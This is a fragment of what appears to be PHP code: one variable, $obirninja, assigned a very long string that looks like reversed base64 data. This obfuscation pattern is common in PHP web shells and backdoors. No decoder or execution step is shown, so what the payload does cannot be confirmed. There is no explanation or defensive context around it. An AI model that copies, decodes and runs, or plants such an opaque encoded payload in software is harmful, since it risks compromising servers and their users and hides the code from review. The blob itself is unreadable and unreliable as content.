$obirninja = "=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